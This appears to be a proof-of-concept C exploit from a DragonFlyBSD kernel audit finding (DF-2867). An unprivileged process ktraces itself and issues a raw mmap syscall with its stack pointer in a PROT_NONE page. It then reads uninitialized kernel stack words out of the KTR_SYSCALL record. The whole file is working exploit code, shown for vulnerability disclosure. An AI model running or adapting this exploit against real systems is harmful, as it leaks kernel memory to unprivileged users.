DragonFlyBSD Kernel Audit
DF-2867 / ktrleak.c
← back to finding ↓ download raw
/*
 * DF-2867 PoC -- KTR_SYSCALL record leaks uninitialized kernel stack
 * (sysmsg.extargs[regcnt..narg)) to an unprivileged tracer when the
 * copyin of stack-passed syscall arguments fails.
 *
 * Mechanism (DragonFly x86_64):
 *   sys/platform/pc64/x86_64/trap.c:1236-1253 (syscall2, regcnt=6)
 *   sys/platform/pc64/x86_64/trap.c:1415-1436 (sys_xsyscall, regcnt=5)
 *     - narg > regcnt: bcopy() only regcnt words into sysmsg.extargs,
 *       then copyin() the rest from the user stack.
 *     - on copyin failure the code STILL calls
 *         ktrsyscall(lp, code, narg, &sysmsg.extargs)   <-- uninit tail
 *       and only then goes to `bad:`.
 *   sys/kern/kern_ktrace.c:111-137 (ktrsyscall) copies ALL narg words
 *   into the ktr_syscall record; ktrwrite() appends it to the trace file.
 *
 * Trigger: SYS_mmap (197) has 7 register_t args (sysproto.h mmap_args),
 * arg #7 (pos) is fetched from the user stack.  We issue a raw mmap
 * syscall with RSP pointing into a PROT_NONE page -> copyin fails ->
 * record contains extargs[6] = stale kernel stack.
 *
 * Unprivileged: ktrace(2) on our own process (ktrcanset passes for self),
 * then read our own trace file.
 *
 * Phases:
 *   A (mechanism): groom extargs[6] with a known value via a *valid*
 *     direct mmap (arg7 fetched from a mapped stack slot), then fire the
 *     faulting mmap; its record must repeat the groom value even though
 *     its 7th argument was never fetched.
 *   B (kernel data): fire faulting mmaps in a loop with user-mode delays
 *     (timer/other traps dirty the kernel stack) and print the samples;
 *     kernel-canonical (0xffff...) values prove kernel stack disclosure.
 */
#include <sys/param.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ktrace.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>

#define	TRCFILE	"/tmp/df2867.trace"
#define	MAXSAMP	1024

static char	*badstack;		/* PROT_NONE page for faulting RSP */
static unsigned long groom_slot[4] __attribute__((aligned(16)));

static void
mmap_raw(unsigned long rspval)
{
	/*
	 * Direct SYS_mmap with a chosen RSP.  The kernel fetches arg7
	 * (pos) from [rsp+8].  Kernel preserves r15/rsp across syscall.
	 */
	__asm__ __volatile__(
	    "movq %%rsp, %%r15\n\t"
	    "movq %0, %%rsp\n\t"
	    "xorl %%edi, %%edi\n\t"		/* addr = 0 */
	    "xorl %%esi, %%esi\n\t"		/* len  = 0 */
	    "xorl %%edx, %%edx\n\t"		/* prot = 0 */
	    "xorl %%r10d, %%r10d\n\t"		/* flags = 0 */
	    "movl $-1, %%r8d\n\t"		/* fd = -1 (EBADF after trace) */
	    "xorl %%r9d, %%r9d\n\t"		/* pad = 0 */
	    "movl $197, %%eax\n\t"		/* SYS_mmap */
	    "syscall\n\t"
	    "movq %%r15, %%rsp\n\t"
	    :
	    : "r" (rspval)
	    : "rax", "rcx", "rdx", "rdi", "rsi", "r8", "r9",
	      "r10", "r11", "r15", "memory"
	);
}

static void
fault7(void)
{
	mmap_raw((unsigned long)badstack);
}

static void
groom7(unsigned long v)
{
	/* valid stack slot: [rsp+8] = v */
	groom_slot[0] = 0;
	groom_slot[1] = v;
	mmap_raw((unsigned long)groom_slot);
}

static int
ktrace_on(void)
{
	int fd;

	fd = open(TRCFILE, O_RDWR | O_CREAT | O_TRUNC, 0600);
	if (fd < 0) {
		perror("open tracefile");
		return (-1);
	}
	close(fd);
	if (syscall(45, TRCFILE, KTROP_SET, KTRFAC_SYSCALL, getpid()) < 0) {
		perror("ktrace");
		return (-1);
	}
	return (0);
}

static void
ktrace_off(void)
{
	syscall(45, NULL, KTROP_CLEAR, KTRFAC_SYSCALL, getpid());
}

struct sample {
	unsigned long long v;
	int seq;
};

static struct sample samples[MAXSAMP];
static int nsamp;

static void
collect(void)
{
	FILE *f;
	struct ktr_header h;

	f = fopen(TRCFILE, "r");
	if (f == NULL) {
		perror("fopen tracefile");
		return;
	}
	while (fread(&h, sizeof(h), 1, f) == 1) {
		unsigned char pay[512];
		int len = h.ktr_len;
		int got, code, narg;

		if (h.ktr_type != KTR_SYSCALL || len <= 4 ||
		    len > (int)sizeof(pay)) {
			if (len > 0)
				fseek(f, len, SEEK_CUR);
			continue;
		}
		got = fread(pay, 1, len, f);
		if (got != len)
			break;
		code = *(short *)pay;
		narg = *(short *)(pay + 2);
		/*
		 * struct ktr_syscall: short code, short narg, then
		 * (8-aligned) register_t args[] -> args begin at offset 8
		 * (4 bytes padding), not 4.
		 */
		if (code == SYS_mmap && narg == 7 && nsamp < MAXSAMP) {
			memcpy(&samples[nsamp].v, pay + 8 + 6 * 8, 8);
			samples[nsamp].seq = nsamp;
			nsamp++;
		}
	}
	fclose(f);
}

int
main(void)
{
	int i, nz, kern, groom_like;

	setvbuf(stdout, NULL, _IOLBF, 0);

	badstack = mmap(NULL, 4096, PROT_NONE, MAP_ANON | MAP_PRIVATE, -1, 0);
	if (badstack == MAP_FAILED) {
		perror("mmap badstack");
		return (1);
	}

	if (ktrace_on() < 0)
		return (1);

	/*
	 * Phase A: mechanism -- groom extargs[6] with known values using
	 * VALID direct mmaps, then fault.  Expected record sequence:
	 *   groom(0xAA..) -> arg7=0xAA..   (legit)
	 *   fault         -> arg7=0xAA..   (NEVER FETCHED -> stale stack)
	 *   groom(0xBB..) -> arg7=0xBB..   (legit)
	 *   fault         -> arg7=0xBB..   (NEVER FETCHED -> stale stack)
	 */
	groom7(0xAAAA0000DEADAA7FULL);
	fault7();
	groom7(0xBBBB0000BEEFBB7FULL);
	fault7();

	/*
	 * Phase B: kernel-stack residue -- burn user-mode time between
	 * faults so timer/other traps dirty the kernel stack region that
	 * holds syscall2's sysmsg.
	 */
	for (i = 0; i < 400; i++) {
		volatile unsigned long x = 0;
		int j;

		for (j = 0; j < 200000; j++)
			x += j;			/* user-mode spin (~ms) */
		fault7();
	}

	ktrace_off();
	collect();

	printf("collected %d mmap(7-arg) syscall records\n", nsamp);
	nz = kern = groom_like = 0;
	for (i = 0; i < nsamp; i++) {
		unsigned long long v = samples[i].v;
		int is_groom = (v == 0xAAAA0000DEADAA7FULL ||
				v == 0xBBBB0000BEEFBB7FULL);

		if (v != 0)
			nz++;
		if ((v >> 48) == 0xffff)
			kern++;
		if (is_groom)
			groom_like++;
		if (i < 8 || (v != 0 && !is_groom))
			printf("  [%03d] arg7=0x%016llx%s\n", i, v,
			    is_groom ? "  (groom value)" :
			    ((v >> 48) == 0xffff ? "  (kernel-canonical!)" : ""));
	}
	/*
	 * samples[0] and samples[2] are the *legit* groom syscalls
	 * (arg7 actually fetched from a mapped stack slot).  A groom
	 * value at any other index is a FAULT record echoing stale
	 * stack -- the bug.
	 */
	{
		int echo = groom_like;

		if (nsamp > 0 && samples[0].v == 0xAAAA0000DEADAA7FULL)
			echo--;
		if (nsamp > 2 && samples[2].v == 0xBBBB0000BEEFBB7FULL)
			echo--;
		groom_like = echo;
	}
	printf("summary: total=%d nonzero=%d groom_echoed=%d "
	    "kernel-canonical(0xffff...)=%d\n", nsamp, nz, groom_like, kern);

	/*
	 * Success criteria:
	 *  1) mechanism: at least one fault record echoed a groom value it
	 *     never fetched (records 1 and 3 in the sequence above).
	 *  2) leak: at least one non-groom nonzero (ideally kernel-canonical)
	 *     sample in phase B.
	 */
	if (groom_like >= 2 && (kern > 0 || nz > groom_like)) {
		printf("RESULT: LEAK REPRODUCED "
		    "(uninitialized kernel stack in KTR_SYSCALL records)\n");
		return (0);
	}
	if (groom_like >= 2) {
		printf("RESULT: mechanism reproduced (stale stack echoed); "
		    "no kernel-range sample this run\n");
		return (2);
	}
	printf("RESULT: NOT reproduced\n");
	return (1);
}